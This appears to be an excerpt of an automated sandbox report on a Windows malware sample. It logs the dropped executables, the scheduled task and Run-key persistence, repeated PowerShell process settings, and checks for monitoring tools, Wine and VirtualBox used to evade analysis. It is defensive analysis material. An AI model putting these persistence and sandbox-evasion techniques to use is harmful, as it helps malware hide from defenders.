Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a145ab7b3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a145ab7b3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cee706a53f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cee706a53f.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
